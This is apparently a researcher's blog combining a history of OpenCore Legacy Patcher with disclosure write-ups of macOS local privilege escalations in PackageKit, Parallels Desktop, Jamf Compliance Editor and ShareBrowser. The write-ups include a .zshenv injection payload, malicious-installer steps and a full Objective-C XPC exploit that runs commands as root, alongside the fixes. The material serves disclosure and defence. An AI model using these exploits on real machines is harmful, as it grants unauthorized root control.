• Background
• Notable Milestones
• Bittersweet news

Background

For those who are unfamiliar (impressed you found this blog…), OpenCore Legacy Patcher was a project I co-authored with my good friend DhinakG back in 2020. The general idea was this: How do you get macOS Big Sur running on unsupported Macs?

The reason this question even came up was that we saw the legendary dosdude1 was taking a step back from macOS patcher development with Big Sur (later confirming such). Thus a decent hole was left where several patchers took their place: Barry KN’s micropatcher, Todd Bruss’ Big Mac Patcher and Ben Sova’s Patched Sur to name a few.

With Dhinak and I, we were heavily based in the Hackintosh world however saw an opportunity where Acidanthera’s OpenCorePkg could step in and provide a more dynamic solution through in-memory patching. While originally a proof of concept to prove someone wrong online (as all good projects do 😛), we kept building on it as it was able to handle edge cases other patchers couldn’t (native software updates, model spoofing, ACPI patching, etc).

Through that, more amazing developers and community members jumped in including ASentientBot, EduCovas, Jazzzny, Flagers, Ausdauersportler, IronApple, UHDBit, thatstella7922, crystall1nedev, Socamx, Paradox94, ASentientHedgehog, Mr.Macintosh, and so many more! (And we can’t forget the amazing work from the Acidanthera team, which without Lilu, OpenCorePkg, etc, we wouldn’t have been able to build OpenCore Legacy Patcher!)

A little tidbit of history: OpenCore Legacy Patcher was originally never even written on a genuine Mac. Up to this point, I avoided Apple hardware. Instead, the original proof of concept was written between 2 Hackintoshes, an Intel X299 desktop inside a PowerMac G5 case and an HP Elite X2 G1 tablet running Big Sur’s beta:

Desktop	Tablet

Notable milestones

2020/12/01 - v0.0.1 - Text based interface

The very first release of OpenCore Legacy Patcher! All TUI-based, and requiring Python 2 (which used to ship with macOS 🥲). This build “supported” the following models for macOS Big Sur:

• There were ofc many pitfalls that were later addressed.

2021/03/01 - v0.0.11 - Python 3 rewrite and stand-alone binary

Thanks to some massive reworking from DhinakG, OpenCore Legacy Patcher’s codebase now supports Python 3. And with it, integration with PyInstaller allowing for stand alone binaries without the need for external dependancies!

2021/03/27 - v0.0.19 - Code signing and notarization

Somehow got Apple to sign and notarize OpenCore Legacy Patcher! Fun fact: You can bypass a bunch of Apple’s checks by encrypting your resources 😛

• And yes, the DMG’s password has in fact always been “password”.

2021/04/26 - v0.1.1 - macOS Big Sur non-Metal graphics support

What seemed like out of left field, ASentientBot was able to get non-Metal graphics working! Much of the community thought it was a dead end with macOS Big Sur.

2021/06/14 - v0.1.7 - macOS Monterey and TeraScale 2 graphics support

2 big changes in one release! Regarding TeraScale 2 support, we were the first patcher to get it working on anything newer than macOS 10.13, High Sierra! However all the credit goes to ASentientBot.

2021/07/11 - v0.2.3 - dosdude1 GUI

dosdude1’s return to macOS patching through OpenCore Legacy Patcher! This time with a CLI wrapper written in Objective-C:

2021/09/23 - v0.2.5 - macOS Monterey non-Metal graphics support

Miracles can happen twice! Of course, the credit goes to ASentientBot and EduCovas for their amazing work!

2021/12/13 - v0.3.2 - Restoring the 5k iMac’s Dual DisplayPort Stream

Really fun challenge to work on, and super thankful for @turbomacs for donating a 5k iMac for research! Even got a fun blog post out of it:

• Blogpost: 5K iMac and UEFI: Fixing the dreaded output limitation

2022/01/21 - v0.4.0 - Native wxPython GUI

After much work, we built a GUI that was able to interoperate with OpenCore Legacy Patcher’s core much closer through wxPython. Though if I had my way, we’d always be a TUI-based patcher 😅

2022/05/02 - v0.4.4 - Automatic OS patching

Thanks to DhinakG’s research, we were able to add automatic root volume patching during OS installation, and detection of missing patches post-update!

2022/06/11 - v0.4.6 - NVIDIA Web Drivers support

Everyone thought Web Drivers were dead after macOS 10.13 , High Sierra (including myself). Well with some black magic, ASentientBot and Flagers were able to do the impossible:

• Twitter: In today’s installment of questionable projects, got #Nvidia Web Drivers working in #macOS #Monterey!

2022/10/25 - v0.5.0 - macOS Ventura support

This release has a fun little backstory, specifically that it was the first macOS unveil where Mr.Macintosh and I were at Apple Park! With live macOS patching shenanigans.

And a big thank you to those who funded my GoFundMe to get there. I was originally quite hesitant to ask for any support, but Mr.Macintosh encouraged me to do so. Honestly a once in a lifetime opportunity!

Tim and Craig!	2012 MacBook Pro installing Ventura beta 1!

2022/10/27 - v0.5.1 - Restoring the Trash Can Mac Pro’s firmware support

Similar to the 5k iMac, JohnD graciously donated a 2013 Mac Pro for research as it was unable to boot macOS Ventura. After much fighting, we were finally able to get it to boot!

• Twitter: For the first time outside of Cupertino Headquarters, a 2013 Trash Can Mac Pro booted macOS Ventura!

2023/01/23 - v0.6.0 - macOS Ventura Rapid Security Response and non-Metal graphics support

Another 2 for one, this time fighting my entire winter break from school on Apple’s shiny new Rapid Security Response. As usual, huge shout out to EduCovas, ASentientBot, Flagers and DhinakG for their amazing work on this release!

2023/05/22 - v0.6.6 - Overhauled wxPython GUI

Now with more icons! My personal favorite being the support icon.

2023/06/02 - v0.6.7 - Launching our OpenCollective

After many requests, we finally launched our OpenCollective! With it, the community helped fund research and fixes through hardware and software purchases. This was especially important for our developers in less fortunate countries. Thank you to everyone who donated!

And a big thank you to Mr.Macintosh for pushing us to do this!

2023/10/02 - v1.0.0 - macOS Sonoma support

Our 4th OS release, now with saner semantic versioning 🎉 (Though throwing darts for versioning was kinda fun while it lasted)

2023/11/10 - v1.2.0 - Background caching of patcher assets

After many conversations with Mr.Macintosh on how to improve the patching experience, we were able to implement OS update detection for asset caching with items requiring network connections (ie. KdkSupportPkg)!

And around this same time, I also spoke a bit about the internals of making a macOS patcher and what it means to be a “tier 2 citizen” at BSides Calgary (my very first talk!): BSides Calgary 2023 Talk: Legacy Macs, Modern Solutions. A Hacker’s Approach to Mac Sustainability.

2024/05/31 - v1.5.0 - Privileged Helper Tool and PKG-based distribution

After having spent the last year working as a MacAdmin, I grew quite an interest in PKG deployments. So of course, I converted OpenCore Legacy Patcher’s installation system into a streamlined PKG system.

And with it, a new privileged helper tool to drop the annoying password requirement for many of the patcher’s functions.

Installer	Uninstaller

2024/09/14 - v2.0.0 - macOS Sequoia support

Supporting our 5th OS release 🦾, and still, not a single machine we previously supported was removed. Though unfortunately we’ve still been unable to get the 2018 and 2019 MacBook Airs supported due to firmware shenanigans 🫠

Finally some bittersweet news

After some genuinely amazing years of working on OpenCore Legacy Patcher, I believe it’s time to pivot my work on breaking Apple platforms in a new direction. Specifically towards a small, Cupertino-based startup.

Beginning next week, I’ll be joining Apple’s Bug Bounty team out in Seattle (I’ll miss you Canada 🫎). It’s quite the shift, but excited for the challenges to come!

What does this mean for OpenCore Legacy Patcher?

Hopefully very little, as there are still going to be a ton of brilliant members working on the patcher. The project will be in good hands.

Otherwise thank you to all the people who’ve helped build OpenCore Legacy Patcher, as well as the community that supported us throughout. I wish the best of luck with the future of macOS 🫡

As usual, links to the talk will be posted once they are available, but in the meantime, here are all the juicy slides!

• Slides: MDM Hygiene for MacAdmins (PDF)

Oh and why not, let’s drop PoCs for a few CVEs too!

• CVE-2024-27822: macOS PackageKit Privilege Escalation
• CVE-2024-53694: QNAP Updater Privilege Escalation (Video PoC)
• CVE-2025-46774: FORTINET FortiClient Privilege Escalation (Video PoC)

If you’re bored, both QNAP Updater and FortiClient still have some goodies to find 👾 (Both are genuinely some of the most concerning (?) software I’ve reversed in a while)

• YouTube: #OBTS v7.0: “Apple’s Not So Rapid Security Response” - Mykola Grymalyuk

Additional resources from my talk below:

• Demo Code: cryptex-patcher.c
• Demo OS.dmg: macOS 13.4.1 IPSW
  • Unzip, use 096-09706-080.dmg as the OS.dmg & 096-09661-088.dmg as App.dmg
• Demo RSR: macOS 13.4.1 (a) RSR - ARM64
• Slides: Apple’s (not so) Rapid Security Response (PDF)
  • If you’d prefer, the rest of this blog is a gallery you can scroll through below.

• YouTube - MDOYVR24 - Mykola Grymalyuk - Electron Security: Making your Mac a worse place?

Additional resources from my talk below:

• Lectricus
  • Open-source Electron security utility.
• Tsunek0h’s CVE-2023-32546:
  • What kicked off this idea for Electron querying!
  • Chatwork Desktop Application.
  • Part of their SIP bypass talk at CODE BLUE 2023.
• Wojciech Reguła’s electroniz3r
  • Didn’t know it existed when I started Lectricus…
  • But made me go further with Lectricus!
• Electron:
  • Fuses
  • Statement regarding “runAsNode” CVEs
• Slides: Electron Security: Making your Mac a worse place? (PDF)
  • If you’d prefer, the rest of this blog is a gallery you can scroll through below.

• Resolved versions:
  • macOS 14.5 Beta 2 (23F5059e) and newer
  • macOS 13.6.7 (22G720) and newer
  • macOS 12.7.5 (21H1222) and newer
• Affected versions:
  • macOS 14.5 Beta 1 (23F5049f) and older
  • macOS 13.6.6 (22G630) and older
  • macOS 12.7.4 (21H1123) and older
  • Any version of macOS 11 or older
• Proof of Concept:
  • Source Code: pkg_exploit.py
• CVE Associated: CVE-2024-27822
• Compensation: None

• Terminology Used:
  • PKG: macOS package file (.pkg, contains install scripts, and files to install on the system.)
  • Shebang: #! at the start of a script to specify the path to the interpreter to use.
  • ZSH: The default shell interpreter in macOS (others include sh and bash)
  • MDM: Mobile Device Management.
  • Munki: An open source macOS software deployment tool.

• Vulnerability Details
• Proof of Concept
• Vulnerability Discovery
  • Internal Audit
  • Surprise macOS 14.5 release
  • Timeline
• Reverse Engineering PackageKit: Apple’s Fix
  • 1. startListeningForConnectionsToService
  • 2. _scriptTaskEnvironmentForPackage
  • 3. /bin/zsh
  • 4. /bin/bash (Bonus!)
• Developer Recommendations
• Conclusion

Vulnerability Details

To put it simply: Apple’s Installer.app/PackageKit.framework spawns installation scripts embedded in PKGs as root in the current user’s enviroment. This results in the shebangs having their own special logic kick in, such as #!/bin/zsh loading the user’s .zshenv file while running with root permissions.

This allows for a malicious payload to be inserted into the .zshenv file, which would then be executed as root when a ZSH-based PKG was installed by the user.

• Note: While the majority of PKGs do run as root, some PKGs may run as the current user, such as WebEx.

This vulnerability could primarily be targeted at user-initiated PKG installations. MDM (Mobile Device Management) and Munki-based installations are not affected by this vulnerability, as they are spawned under the root user’s context.

The main attack scenario with this vulnerability is that a logic bomb-based payload could simply wait for the user to install a ZSH-based PKG at any time, and then execute the payload and gain root access.

• Fun fact: This vulnerability looks to be an extension of CVE-2021-30892: Shrootless which abused the enviroment file in a similar manner.

Proof of Concept

To demonstrate this vulnerability, all you need is a PKG with an installation script that has the #!/bin/zsh shebang. On script execution (ie. PKG installation), the script will load the user’s .zshenv file, which could have malicious code embedded in it.

Steps to Reproduce:

1. Inject a malicious payload into the .zshenv file:

/usr/bin/osascript -e "display dialog \"Hello from malware!

Current user: $(/usr/bin/whoami)
UID:  $UID
EUID: $EUID\""

1. Install a PKG with the #!/bin/zsh shebang. Ex. Generic-ZSH.pkg

2. Watch the magic happen!

An automated PoC is available in pkg_exploit.py, which will create a dummy PKG and inject a payload into the .zshenv file.

Vulnerability Discovery

On March 14th, 2024, I had noticed a new CVE pop up on the MacAdmins Slack: CVE-2024-27301

As discussed earlier, this vulnerability is based on the #!/bin/zsh shebang in a PKG’s scripts.

When learning about this, I had assumed this is an inherent issue with using shells as shebangs, and so developers need to be more cautious about how they’re invoked (ie. ensure untrusted settings are never loaded).

Internal Audit

After reviewing the scripts used in our internal PKGs, we appended the --no-rcs parameter to the ZSH shebang. This prevents the scripts from loading the current user’s environment file, thus preventing the vulnerability.

We then reviewed each of our vendors’ PKGs. One of them, Watchman Monitoring, had installers which were vulnerable to this exploit. We reported this to the vendor, and Allen Hancock/Watchman Monitoring suggested that we to report this to Apple while they worked on the issue. We reported to Apple on the same day, March 14th, and Apple assigned it OE1972568773511.

• Watchman Monitoring published revised installers on April 5th in version 7.1.3.101.

Surprise macOS 14.5 release

On May 15th I got a message congratulating me on a CVE? I was so confused, but checked the macOS 14.5 security notes and there I was:

PackageKit
  Available for: macOS Sonoma
  Impact: An app may be able to gain root privileges
  Description: A logic issue was addressed with improved restrictions.
  CVE-2024-27822: Scott Johnson, Mykola Grymalyuk of RIPEDA Consulting, Jordy Witteman, and Carlos Polop

While I had no idea other researchers reported this vulnerability, I feel a bit odd being credited when in reality I only noticed another CVE and had a vendor request a report to Apple. Additionally since the initial report in March, I had not heard back from Apple on the status of the report.

However, I’ll take what I can get, and genuinely appreciate Apple crediting me instead of filing “duplicate” and moving on.

Timeline

Reverse Engineering PackageKit: Apple’s Fix

Now here comes the fun part: How did Apple fix this vulnerability?

To start, let’s load up PackageKit in Hopper:

/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit

The first thing we’ll notice is that Apple added a new environment variable to PackageKit: APPLE_PKGKIT_ESCALATING_ROOT. This is used to determine if the package will be running as root or not, and is currently only referenced in two functions:

-[PKInstallDaemon startListeningForConnectionsToService:]
-[PKRunPackageScriptInstallOperation _scriptTaskEnvironmentForPackage:destination:scriptName:]

1. startListeningForConnectionsToService

The first function is the main listener for the XPC service, and checks if the service is com.apple.installd.user. If it is not, it will attempt to set the APPLE_PKGKIT_ESCALATING_ROOT environment variable to 1:

-(void)startListeningForConnectionsToService:(NSString *)process {
  /// ...
  if ([process isEqualToString:@"com.apple.installd.user"] == 0x0) {
    setenv("APPLE_PKGKIT_ESCALATING_ROOT", "1", 1);
  }
  /// ...
}

2. _scriptTaskEnvironmentForPackage

The second function simply passes the environment variable to the script’s environment, for end use:

-(int)_scriptTaskEnvironmentForPackage:(int)arg2 destination:(int)arg3 scriptName:(int)arg4 {
  /// ...
  char *rootEnv = getenv("APPLE_PKGKIT_ESCALATING_ROOT");
  if (rootEnv != NULL) {
    NSString *rootEnvStr = [NSString stringWithUTF8String:rootEnv];
    [environment setObject:rootEnvStr forKey:@"APPLE_PKGKIT_ESCALATING_ROOT"];
  }
  /// ...
}

Wait, this doesn’t do anything…

Correct! The actual fix is inside of /bin/zsh.

3. /bin/zsh

If we load this binary up in Hopper, we notice that _run_init_scripts() now checks for the environment variable APPLE_PKGKIT_ESCALATING_ROOT. If it is set, it will skip loading the user’s .zshenv file:

int _run_init_scripts(int arg0, int arg1) {
  /// ...
  if (getenv("APPLE_PKGKIT_ESCALATING_ROOT") == 0x0) {
    _sourcehome(".zshenv");
  }
  /// ...
}

Yup, the fix is as simple as that!

4. /bin/bash (Bonus!)

/bin/bash wasn’t left out either! A similar check was added in the binary’s EntryPoint:

Developer Recommendations

Something for developers to keep in mind is that they should still ensure their working environment in scripts is clean and not loading untrusted settings. This is especially important for scripts that run as root, like in PKGs, as we can’t always rely on the operating system to protect us.

Ways to prevent loading untrusted settings:

• SH: #!/bin/sh (sh in macOS won’t load any external settings without being explicitly told)
• ZSH: #!/bin/zsh --no-rcs
• Bash: #!/bin/bash --noprofile --norc

Additionally, always specify the full path to binaries in scripts when possible, as PATH may not always be trusted and could point to a malicious binary.

• ex. /bin/mkdir instead of mkdir
  • Use where <command> to find the full path to a command
  • ex. where osascript will return /usr/bin/osascript

Poor script:

function makeDirectory() {
  mkdir $1
}

Better script:

function makeDirectory() {
  /bin/mkdir $1
}

Would highly recommend reading Apple’s old documentation on shell scripting guidelines for more information:

• Apple Developer Documentation Archive: Shell Script Security

Conclusion

A simple exploit, but really interesting to see how Apple mitigated it through PackageKit/ZSH and Bash. This does however pose a concern for packages that don’t use the standard shell shebangs, such as !#/usr/bin/perl, as they could still load untrusted settings if written poorly.

Otherwise for those wanting more PKG-based vulnerabilities, highly recommend reading the following:

• Jonathan Bar Or’s CVE-2021-30892: Shrootless.
  • Nearly identical exploit, but at least there they got a System Integrity Bypass 😛.
• Csaba Fitzl’s How Apple Mitigates Vulnerabilities in Installer Scripts.

And thank you again to Allen Hancock / Watchman Monitoring for getting us to report this to Apple 🎉

• Affected Product: Parallels Desktop for macOS
• Affected Hosts: x86_64-based machines (ie. Intel Macs)
• Affected versions: 16.0.0 through 19.3.0 (Originally reported against 19.2.1)
  • 19.3.0 - Archive.org
• Resolved version: 19.3.1
  • 19.3.1 - Archive.org
• Proof of Concept:
  • Source Code: parallels_exploit.py
  • Video Demo: Exploit Demo.mov
• CVE Associated: CVE-2024-34331
• Compensation: None

• Vulnerability Discovery
  • Magic of Set UID Bit
  • Wait, is VMware Fusion also vulnerable to a malicious createinstallmedia?
  • Intel-only Parallels Exploit
• Proof of Concept
• Reporting Process
• Verifying Parallels’ Work
• Conclusion

Vulnerability Discovery

While working with Parallels’ Mass Deployment package, I was testing against a 2018 Intel Mac mini and a macOS virtual machine. One odd thing I noticed during my tests was that a password prompt never appeared when it created my macOS VMs.

This was odd, as I was fairly certain Parallels was using Apple’s createinstallmedia internally which requires root privileges. Upon further inspection, I confirmed this through a script called repack_osx_install_app.sh located under Parallels Desktop.app/Contents/Resources:

And look at that, no signature verification! Looks like an easy point to exploit 🤔.

But the question remains, how’s Parallels running createinstallmedia as root without administrator credentials?

Magic of Set UID Bit

Originally I had believed Parallels installed some kind of XPC service to pass commands as root, however after searching I could not find any launch services associated with Parallels…

After finding Reno Robert’s amazing report, Bash Privileged-Mode Vulnerabilities in Parallels Desktop and CDPATH handing in macOS, I learned of a Unix trick called “Set UID bit” that a file can have.

What this S-Bit does is allow the executable to change its UID (user ID) to that of the file’s owner. And if the file’s owner is root, well now you get to run as root!

# Find all files with S-Bit set
/usr/bin/find . -perm -u=s

• Note that AppKit-based applications are explicitly prohibited from using this on stock macOS installs, instead another process will need to run them (ex. Parallels Services)
  • Reference: Cocoa Dev: setuid/setgid apps disallowed

Wait, is VMware Fusion also vulnerable to a malicious createinstallmedia?

Fun fact: Surprisingly not!

This is because of an odd script they developed called Create macOS Installer.tool located under VMware Fusion.app/Contents/Library/ which attempts to create a valid installer manually and bypasses createinstallmedia’s usage. However, this means it’s broken for modern macOS installers. But hey, no local privilege escalation 🎉

Intel-only Parallels Exploit

Something to keep in mind with this exploit is that it only affects x86_64-based hosts in macOS. This is due to the fact createinstallmedia-based installers are incompatible with Apple’s Virtualization.framework stack on Apple Silicon, instead requiring IPSW restore images. Thus the vulnerable code path is never executed on Apple Silicon Macs.

What about versions of Parallels that didn’t check for Apple Silicon support?

This specific edge case relates to the timeline Apple Silicon launched. If an application was released before Apple Silicon, it will just assume the M-series Mac is just like any other Intel Mac.

When looking at Parallels Desktop 15.1.5 (47309), we see createinstallmedia isn’t actually invoked inside of repack_osx_install_app.sh. Instead, it uses hdiutil to create a disk image similar to VMware Fusion. Only with Parallels Desktop 16, Parallels adds support for createinstallmedia-based VMs, and at the same time checks whether the host can use it. Thus preventing the exploit from ever being triggered on Apple Silicon Macs.

The below error message is generated by ParallelsVirtualizationSDK.framework when attempting to use a macOS installer on an Apple Silicon Mac:

Proof of Concept

Overall fairly straightforward:

1. Create a macOS Installer app, with a malicious payload under Contents/Resources/createinstallmedia.

2. Have Parallels Desktop open said application, and prepare it for installation.

   i. prl_client_app takes the malicious macOS Installer app

   ii. prl_client_app runs Parallels Service

   iii. Parallels Service runs setuid raising privileges to root

   iv. Parallels Service runs repack_osx_install_app.sh

   v. repack_osx_install_app.sh runs createinstallmedia as root

I have this process automated through parallels_exploit.py, which creates a generic AppleScript payload to demonstrate root privileges and has Parallels load it.

And when we run said script, we get local privilege escalation!

Reporting Process

Filed through Parallels’ Responsible Disclosure system, we advised Parallels to implement code signature verification before executing createinstallmedia.

• Notice in the above site that a valid License or Proof of Purchase is required, that’s unfortunate…
  • Fun fact: My exploit works before even registering a product key!

Verifying Parallels’ Work

By complete accident, we noticed Parallels Desktop 19.3.1 had been released one morning on April 30th, 2024. We knew 19.3.0 didn’t include our fix, thus curious if perhaps 19.3.1 does.

When examining repack_osx_install_app.sh, we notice additional logic inside of do_repack_createinstallmedia(). Specifically a code signature check against anchor apple for createinstallmedia binary:

# verify createinstallmedia is Apple-signed
/usr/bin/codesign -v -R="anchor apple" "$source_app/Contents/Resources/createinstallmedia"
if [ $? -ne 0 ]; then
  echo "'$source_app' is not signed."
  return $ERR_UNEXPECTED
fi

• anchor apple is for verification of Apple-signed binaries, like createinstallmedia
  • Reference: Code Signing Requirement Language

And now when we run our parallels_exploit.py again, it properly rejects our payload!

• The vague error messaging matches Apple’s own a bit too well…

Conclusion

A simple but fun exploit, and interesting to learn about the Set UID bit on files. Will be keeping an eye on S-Bit for future exploits.

Though shame Parallels doesn’t offer a bug bounty, especially being one of the most prominent virtualization solutions on macOS now since Apple Silicon. This only incentivizes researchers to sell exploits to make a living, rather than responsibly disclose them. I did discuss this with Parallels, however unknown if any changes will be made.

Ignoring all that, I also highly recommend others read Reno Robert’s report on their Parallels Exploit, lot of fun stuff in there:

• Bash Privileged-Mode Vulnerabilities in Parallels Desktop and CDPATH handing in macOS

And while this blog post is a demonstration of privilege escalation, Jamf Compliance Editor is genuinely a great free tool! Highly recommend it for anyone looking to create compliance baselines for macOS.

• Resolved version: v1.3.1 and newer
  • Official Source: Establishing Compliance Baselines
  • Mirrors:
    • Archive.org
• Affected versions: v1.3 and older
  • Mirrors:
    • Archive.org
• Proof of Concept:
  • Source Code: jce_exploit.m
  • Video Demo: Exploit Demo.mov
• CVE Associated: CVE-2024-4395
• Compensation: $500 USD

• Discovering the vulnerability
• Fun Fact: You need to actually use the apps you’re reversing sometimes
• Creating a Proof of Concept
• Reporting Process
• A vendor that listens?!?
• Verifying Jamf’s work
• Conclusion

Discovering the vulnerability

So I have this very, very bad habit. Every application I download, I reverse engineer it to get an idea of how it works… This becomes a problem when I have actual work to do, like researching NIST compliance at work.

Well, that’s how I found Jamf Compliance Editor, an amazing GUI application that handles the creation of baselines and even performs audits of your machine.

When I downloaded it, I checked to see what files were bundled inside. Here I noticed a Launch Daemon, which intrigued me:

Following the Launch Daemon’s BundleProgram property, we see it points to Contents/Resources/com.jamf.complianceeditor.helper. When I opened this XPC executable up in Hopper Disassembler, my first thought was “I wonder how Jamf performs client validation, maybe they have a neat method”:

Wait a minute, there’s a problem here… Where’s the client validation?

• See these many amazing blogs and presentations on why that’s terrifying:
  • Wojciech Reguła: Learn XPC exploitation - Broken cryptography
  • Wojciech Reguła: Abusing & Securing XPC in macOS apps
  • Csaba Fitzl: CVE-2020-0984 - Secure coding XPC Services
  • Christian S: The Story Behind CVE-2019-13013
  • Erik Berglund: No Privileged Helper Tool Left Behind

Fun Fact: You need to actually use the apps you’re reversing sometimes

Once I found that the XPC service lacked any client validation, I started to believe it was an unused binary. “No way, Jamf wouldn’t forget to do validation”. However as I was reversing the core binary more, Contents/MacOS/Jamf Compliance Editor, I found that under sub_100012060 the application does implement a code path to install the helper service:

However, when I first opened Jamf Compliance Editor, no launch services were installed… How do I get this code path to kick in then?

Well after more time than I’d like to admit, I figured out the launch service is only installed if you perform an audit on the host. Otherwise, Jamf will just create all the baselines as the current user.

Steps to load the daemon:

1. Run Jamf Compliance Editor
2. Create a new project
3. Create Guidance
4. Perform audit

Step 4 is greyed out until a Guidance is created first:

And now the daemon is trying to be loaded!

Creating a Proof of Concept

Now that I confirmed the XPC service is being used, the next issue is actually proving it’s exploitable. Within the XPC’s helper class, I found this fun function:

-[com_jamf_complianceeditor_helper.Helper executeScriptAt:arguments:then:]

An easy demonstration of local privilege escalation!

Now throw this into a quick Obj-C script (shout out to Csaba Fitzl’s CVE-2021-26718 for the basis!) and we’re off to the races:

• jce_exploit.m
  • Note the rendered version below is simplified, the actual file contains the optional ability to pass custom commands to run as root.

/*

Jamf Compliance Editor Helper Service - Local Privilege Escalation

------------------------------------------------------------------

Discovered by Mykola Grymalyuk of RIPEDA Consulting

------------------------------------------------------------------

Compile Steps:

   clang -framework Foundation -o jce_exploit jce_exploit.m

------------------------------------------------------------------

Exploit based on Csaba Fitzl's CVE-2021-26718:
- https://hackerone.com/reports/980876
*/

#import <Foundation/Foundation.h>


static NSString* kXPCHelperMachServiceName = @"com.jamf.complianceeditor.helper";

@protocol HelperExecutionService <NSObject>
- (void)executeScriptAt:(NSString *)scriptPath arguments:(NSArray<NSString *> *)arguments then:(void (^)(NSString *result, NSError *error))completionHandler;
@end


int main(int argc, const char * argv[]) {
    @autoreleasepool {

        __block int returnCode = 0;
        NSString* serviceName = kXPCHelperMachServiceName;
        NSLog(@"Exploiting service: %@", serviceName);

        NSXPCConnection* serviceConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged];

        [serviceConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(HelperExecutionService)]];
        [serviceConnection resume];

        id service = [serviceConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            NSLog(@"Error connecting: %@", error);
            returnCode = 1;
            exit(returnCode);
        }];

        NSString *command = @"/usr/bin/whoami";
        NSArray *arguments = @[];

        NSLog(@"Executing '%@'", command);

        [service executeScriptAt:command arguments:arguments then:^(NSString *result, NSError *error) {
            if (error) {
                NSLog(@"Error: %@", error);
                returnCode = 1;
            } else {
                NSLog(@"Result: %@", result);
            }
            [serviceConnection invalidate];
            exit(returnCode);
        }];

        [[NSRunLoop currentRunLoop] run];
    }
}

And with that, the exploit works!

Reporting Process

Following the Jamf Vulnerability Disclosure Program, we advised Jamf to add setCodeSigningRequirement during the client connection process. Do note that setCodeSigningRequirement requires macOS 13.0, Ventura, or newer to use, which Jamf Compliance Editor already requires as a minimum. If your XPC service requires older OS support, use SecCodeCheckValidity.

• Also notice the triage time? 3 minutes!!!

A vendor that listens?!?

When we got the initial Jamf Compliance Editor fix, we raised a vulnerability concern related to the upgrade flow. Specifically if a user downloads 1.3.1 and replaces the app in /Applications, the vulnerable XPC service would still be active until it’s either either manually reloaded or the system reboots.

We proposed a solution through PKG distribution, and employing pkgutil’s relocation support.

The surprising part? They listened!

Verifying Jamf’s work

Now when we load up v1.3.1’s XPC service, we see shouldAcceptNewConnection has a new function call:

Following it, we see Jamf has implemented the setCodeSigningRequirement API which will verify the client against the following code signature:

anchor apple generic and identifier \"com.jamf.complianceeditor\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists  */ and certificate leaf[subject.OU] = \"483DWKW443\")

• Breakdown:
  • anchor apple generic: Signed by Apple issued signing certificate
  • com.jamf.complianceeditor: Client Application Bundle Identifier
  • certificate leaf[field.1.2.840.113635.100.6.1.9]: Mac App Store
  • certificate 1[field.1.2.840.113635.100.6.2.6]: Developer ID Certificate
  • certificate leaf[field.1.2.840.113635.100.6.1.13]: Developer ID Leaf
  • certificate leaf[subject.OU] = \"483DWKW443\": Jamf Team ID
• References:
  • Code Signing Requirement Language
  • clientid.cpp
  • syspolicy.sql

And when we compare this to the main app’s code requirements, they match!

/usr/bin/codesign --display --requirements - "/Applications/Jamf Compliance Editor.app"

Now when we run our exploit, it fails as we’d expect 🎉

Conclusion

I have to say, this disclosure process was one of the best I’ve dealt with to date. My only real “critiques” were lack of compensation originally (which they later gave!) and proper credit initially (which after a request, we got a shout-out on the MacAdmin’s Slack with plans to credit us in the changelog on CVE publication!).

Happy to say we now have more secure MacAdmin software than before! 🎉

• Resolved version: v7.0 and newer
• Affected versions: v6.1.5.27 and older
  • Reference build:
    • Official
  • Archive.org
• CVE Associated: CVE-2023-44077

• Examining ShareBrowser’s bundled launch services
• Digging deeper into XPC services
• Possible solutions
• Reporting process
• Verifying the updated bundles
• Conclusion

Examining ShareBrowser’s bundled launch services

To start off, we’ll install ShareBrowser’s macOS client (v6.1.5.27) and check what launch services our Virtual Machine registers:

If we examine one of these daemons, for example com.sns.evo-slingshot-helper.plist, we see that it exposes a Mach Service for processes to attach onto:

When we look at the rest of the services, we see 3 out of 5 of them expose a Mach Service:

Digging deeper into XPC services

Now that we found some launch services with exposed Mach services, let’s take a peek inside how one works.

We’ll load up /Library/EVO ShareBrowser/EvoSlingshotHelper into Hopper Disassembler, and take a peek at -[BaseSlingshotService listener:shouldAcceptNewConnection:]:

Those who have worked with XPCs before might be having PTSD right now. For those who don’t, let me explain.

In an XPC service’s shouldAcceptNewConnection method, there should be some form of validation performed before blindly accepting a connection. Why this is important is that anything that connects will gain the abilities of that service. This includes the elevated privileges and XPC functions that might include sensitive information.

For ShareBrowser’s EvoSlingshotHelper specifically, this daemon has process calls, API calls, user credentials processing, etc inside. And since this application is written in Objective-C, it’s inherently at risk of memory safety bugs and potentially vulnerable to additional attacks such as buffer overflows for arbitrary code execution as root.

Now add this with sbdccommunicationhelper and sbdcmounthelper, we have a fun trio of potentially vulnerable services.

Possible solutions

Thanks to some amazing posts by Wojciech Reguła, Csaba Fitzl, Erik Berglund and Christian from Objective Development, we have some great resources to understand both the severity and solutions to ShareBrowser’s issues:

• Learn XPC exploitation - Broken cryptography
• Abusing & Securing XPC in macOS apps
• CVE-2020-0984 - Secure coding XPC Services
• The Story Behind CVE-2019-13013
• No Privileged Helper Tool Left Behind

The simplest answer without going too deep is to ensure there’s proper code signature verification on processes wanting to attach. This means comparing the calling binary to a trusted certificate like a notarized binary with the developer’s Team ID.

• For macOS Ventura and newer: setCodeSigningRequirement
• For macOS Monterey and older: SecCodeCheckValidity

If we take a peek at a good platform citizen, such as WhiteBox’ Packages, we see that they’ve implemented proper code signature checks that verify the authenticity of the application calling, and as such isn’t as easily abused:

Reporting process

Overall a bit annoying process as with most companies lacking a security team, mainly caused by poor communication. While not expecting a bug bounty, there was no compensation, notification of a public release or even crediting us for the vulnerability…

Though overall the main issue we faced was that after reporting the issue, we didn’t get a proper team to respond until after we threatened to publicize the vulnerability and have a CVE ID associated.

Remember kids, threatening to run to the press doesn’t just work on Apple ;p

• This is a great reminder that you need to hold companies accountable, and using Project Zero’s 90+30 disclosure policy is a great way to do so. (Thanks Devin Byrd (Wanderingbug) for the tip!)

• Table reference: RIPEDA Consulting is where I work, and where I’ve been able to research and report this vulnerability.

Verifying the updated bundles

Studio Network Solutions’ interim solution to this vulnerability was to strip all XPC services and have us deploy it to all machines we manage. Finally, after several months, we were able to grab an official copy to verify the fix.

Examining ShareBrowser v7.0.0.12 (archive.org mirror), we see they’ve stripped all but 1 launch service: com.sns.sbdcmounthelper.plist

